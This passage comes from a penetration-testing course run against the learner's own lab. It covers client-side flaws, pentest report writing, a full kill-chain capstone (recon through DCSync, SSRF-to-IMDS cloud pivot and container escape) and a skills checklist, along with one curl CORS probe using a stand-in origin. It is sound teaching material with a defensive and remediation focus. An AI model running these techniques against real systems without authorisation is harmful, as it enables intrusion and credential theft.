Client-side: DOM XSS, CORS, CSRF, prototype pollution. Server-side encoding does not save you from bugs that live in the browser. **DOM-based XSS**: client JavaScript writes attacker-controlled data into a dangerous sink (`innerHTML`, `eval`) with no server involvement. **CORS misconfiguration**: an over-permissive `Access-Control-Allow-Origin` (reflecting any origin with credentials) lets a malicious site read authenticated responses. **CSRF**: a missing anti-CSRF token lets an attacker's page make state-changing requests as the victim. **Prototype pollution**: polluting a JS object's prototype to influence app logic.

```
# DOM XSS: find the client-side source->sink in the app's own JS
#   source: location.hash / postMessage   sink: innerHTML / document.write / eval
# CORS test: does the server reflect an arbitrary origin WITH credentials?
curl -s -I -H "Origin: https://evil.test" http://10.10.30.10/api/me | grep -i
    ↪ access-control
#   Access-Control-Allow-Origin: https://evil.test  + Allow-Credentials: true  ->
    ↪  exploitable
```

RED TEAM — ATTACK

Read the code, then attack the browser. Pull the `vuln-app` source (you have lab access), run `semgrep`, and find one source→sink flaw by reading — then confirm it dynamically. Separately, test the client side: hunt a DOM-XSS sink in the app's JavaScript, and probe the CORS policy for credentialed origin reflection.

VERIFY IT WORKS

You found a vulnerability two ways — by reading the code and by attacking the running app — and you understand the relationship between them, which is the entire premise of secure development: the bug the attacker exploits is a line a developer wrote. Fixes: *parameterise/encode at the sink*, *use safe DOM APIs (`textContent`, not `innerHTML`) and a strict CSP*, *never reflect arbitrary CORS origins with credentials*, and *require anti-CSRF tokens / `SameSite` cookies*. This module is the natural pivot to the defensive AppSec work — you now see the application from the builder's chair, not just the attacker's. Findings go into the report (Module 52) with the exact code-level remediation.

MODULE 52

The Pentest Report & Remediation

Everything before this module is worthless to a client until it is written down. The report *is* the product of an engagement — the only thing the organisation keeps, acts on, and pays for. A brilliant compromise described badly is a failed engagement; an average finding explained clearly enough to get fixed is a success. This module turns your attacks into the deliverable that distinguishes a professional from a tool-runner.

THEORY

Two audiences, one document. A report serves people who will never read a payload and people who will reproduce every step. The **executive summary** (for leadership) states business risk in plain language: what an attacker could achieve, how bad it would be, and the top priorities — no jargon, often one page. The **technical findings** (for engineers) give each issue with enough detail to reproduce and fix: description, evidence, impact, risk rating, and remediation. The same engagement, told twice, at the right altitude — the offensive mirror of the strategic/tactical intel split from Module 23.

◎ **OBJECTIVE**

A complete report for your lab engagement: an executive summary, and a set of technical findings (from Modules 37–47) each scored and written so a stranger could both verify and fix it.

52.1 The anatomy of a finding

THEORY

Every finding has the same skeleton. *Title* (clear, specific). *Severity/risk rating*. *Description* (what the flaw is). *Affected assets*. *Evidence* (the request/response, screenshot, or command output that proves it — the artefacts you captured as you went). *Impact* (what it lets an attacker do, in business terms). *Remediation* (the specific fix). *References* (CWE, OWASP, vendor advisory). Write evidence *as you exploit*, never after — reconstructing proof from memory is how findings get disputed.

```
# FINDING TEMPLATE (one per issue)
Title:        SQL Injection in product search (vuln-app)
Severity:     High        Risk = Likelihood x Impact
CVSS:         8.6 (vector: AV:N/AC:L/PR:N/UI:N/...)    # justify the vector
Affected:     http://10.10.30.10/rest/products/search  (param: q)
Description:  User input concatenated into the SQL query without parameterisation.

Evidence:     [request/response showing UNION-based extraction of the users table
    ]
Impact:       Full read of the application database, including credential hashes;
              chainable to authentication bypass and account takeover.
Remediation:  Use parameterised queries / prepared statements; deny by input
    validation;
```

```
                the ModSecurity/CRS WAF (M6) mitigates but does not fix the root
    cause.
References:     CWE-89, OWASP A03:2021-Injection
```

THEORY

Rating risk without fooling yourself. CVSS scores intrinsic technical severity (0–10) and is the lingua franca — but a CVSS 9.8 nobody can reach matters less than a 7.5 on the internet-facing box. Real risk is *likelihood* (how reachable/exploitable here) times *impact* (what it costs the business) — the exact prioritisation logic you built defensively in Module 7 (CVSS + EPSS + KEV + exposure). Rate findings by context, not by the raw number, and say why in one sentence.

WATCH OUT

Remediation and retest close the loop. A finding without an *actionable, specific* fix is a complaint, not a finding. "Improve security" is useless; "parameterise the query at `search.js:42`" is a fix. And the engagement is not truly done until a **retest** confirms the fixes worked — the offensive twin of the Module 7 *find* → *remediate* → *verify* loop. Track findings to closure with an owner and an SLA, exactly as the SOC does (Module 22).

VERIFY IT WORKS

Your report stands alone: an executive could read the summary and understand the business risk and priorities; an engineer could take any finding and both reproduce it and fix it without asking you a question. Every claim is backed by evidence you captured during exploitation. That document — not the shells you popped — is what you put in a portfolio and what gets you hired. A clear report on this lab is a stronger signal than a wall of tool output.

MODULE 53

Offensive Capstone: Full Kill Chain, Purple-Team Verified

This is the test that everything connects. You will run one continuous attack across the *entire* environment — on-prem, then cloud, then cluster — and for every stage confirm which control prevented it or which detection caught it. It is the offensive complement to the Module 20 capstone, and together they are the single strongest portfolio piece you can produce: proof you can build it, break it, *and* catch it.

THEORY

Why the full chain is the real exam. Any single technique is a parlour trick. The job is *attack paths*: chaining individually-modest steps into total compromise — and, defensively, ensuring an attacker must defeat every layer without tripping any sensor. Running the whole chain forces you to think the way real operators and real defenders do, and it surfaces the gaps that isolated module practice hides.

◎ **OBJECTIVE**

A documented end-to-end kill chain against your own lab — recon to domain dominance to cloud to cluster — with a stage-by-stage table of *technique → control expected → evidence it fired (or the gap you found)*.

RED TEAM — ATTACK

The full chain. Run it from `attacker-kali`, on your own lab only, in order:

1. **Recon & enumerate** (M35–36) the external surface and a target. *Expect:* active recon in DNS logs; scan flagged by Suricata + Zeek.
2. **Initial access** (M37–38): web exploit or phished payload → first shell. *Expect:* WAF blocks the injectable classes; callback visible to Zeek/EDR.
3. **Privilege escalation** (M40/41) to root/SYSTEM. *Expect:* 4688/Sysmon EID 1 lineage; auditd on Linux.
4. **Credential harvest & C2** (M43, M45): beacon + loot. *Expect:* RITA beacon score; egress/looting telemetry.
5. **Lateral movement** (M42) toward the trusted LAN. *Expect:* DMZ→LAN deny contains it; 4624 type 3 NTLM anomaly.
6. **Domain dominance** (M39): Kerberoast → escalate → DCSync. *Expect:* 4769/RC4, 4662, and the honey-account tripwire (M28).
7. **Cloud pivot** (M46): SSRF→IMDS → IAM privesc → S3 loot. *Expect:* GuardDuty findings; CloudTrail trail.
8. **Cluster** (M47): pod token → RBAC abuse / escape. *Expect:* Kyverno rejects; Falco fires.

VERIFY IT WORKS

For *every* stage you can show, from the dashboard, either the control that prevented it or the detection that caught it — and where something did not fire, you have found a genuine gap to fix (a new Sigma rule, a firewall reorder, a tightened IAM policy). Success is not "the attack failed everywhere"; it is "every stage was prevented or detected, and I have the evidence trail." Write it up as a combined attack-and-defence timeline: stage, technique, ATT&CK ID, control, evidence. That single document proves you operate across the whole stack — exactly the engineer organisations are trying to hire.

THEORY

Where this leaves you. You have now built a segmented enterprise network, a directory, proxies, VPN, IDS/WAF, hardened hosts, a cloud estate, a container platform, a detection pipeline and a full SOC (Volume I + Part A) — and then attacked all of it methodically, from recon through cloud and cluster compromise, and proved your own defences hold (Part B). You did not read security engineering. You did it, from both chairs. That is the whole game.

MODULE 54

Offensive Skills Checklist & Study Path

Tick a row only when you have done it and the Verify box passed. These extend the Volume I (Module 21) and Part A checklists into a single security-engineering mastery list.

✓	Skill	Module
☐	Write a scope + Rules of Engagement; explain authorisation	34
☐	Distinguish pentest / red team / vuln scan; pick a box type	34
☐	Passive + active recon; attempt a zone transfer	35
☐	Harvest emails/subdomains/hosts from OSINT	35
☐	Layered nmap + per-service enumeration (SMB/LDAP/web)	36
☐	Find an unauthenticated foothold (null session / anon bind)	36
☐	Exploit SQLi, XSS, IDOR, auth bypass, upload, SSRF	37
☐	Prove which classes the WAF blocks and which it cannot	37
☐	Get + stabilise a first shell (reverse shell, TTY)	38
☐	Use Metasploit + msfvenom for access (lab)	38
☐	Map a domain with BloodHound; find the path to DA	39
☐	Kerberoast + AS-REP roast + password spray	39
☐	DCSync krbtgt; understand Golden/Silver tickets	39
☐	Linux privesc: sudo, SUID, capabilities, cron, docker group	40
☐	Windows privesc: service/token abuse, cred harvesting	41
☐	Pass-the-hash / ticket to a second host	42
☐	Pivot through a foothold; test the DMZ→LAN boundary	42
☐	Stand up an open-source C2; operate a beacon	43
☐	Confirm the C2 beacon trips the M27 beaconing hunt	43
☐	Explain LOLBins + defence-in-depth as the evasion answer	44
☐	Find your own detection blind spots from evasion testing	44
☐	Loot data + credentials; establish persistence	45
☐	Steal IAM creds via SSRF→IMDS; enforce IMDSv2 as fix	46
☐	Enumerate + escalate IAM (Pacu); loot S3 & secrets	46
☐	Escape a container (priv / docker socket) to the host	47
☐	Abuse a K8s SA token / RBAC toward cluster-admin	47
☐	Test an API: BOLA, function-level auth, mass assignment	48
☐	Forge a JWT (alg:none / weak secret); attack OAuth flows	49
☐	Exploit SSTI, deserialization, XXE, request smuggling	50
☐	Find a bug by source review; exploit DOM XSS / CORS	51
☐	Write an exec summary + scored technical findings	52
☐	Rate risk by context (CVSS + likelihood + exposure)	52
☐	Run the full kill chain, purple-team verified end to end	53

Where this points next. This offensive track maps onto the **OSCP** (PEN-200) and the **PNPT** certifications, with the AD and web depth aligning to **CRTP/CRTO** and the cloud module to cloud-pentest paths. Practice grounds: **Hack The Box** (Pro Labs and the AD-heavy machines), **TryHackMe** offensive paths, and **PortSwigger Web Security Academy** for the web module. The

strongest portfolio is not a certificate alone — it is *this lab*, attacked and defended, written up: the Volume I build, the Part A SOC, and the Part B kill chain, documented as one body of work that says "I can architect it, operate the defence, break it, and report it."

You now hold the complete loop. Build it, run it, attack it, catch it, report it — then break something new next week and start again. The attack/defend loop was always the whole game.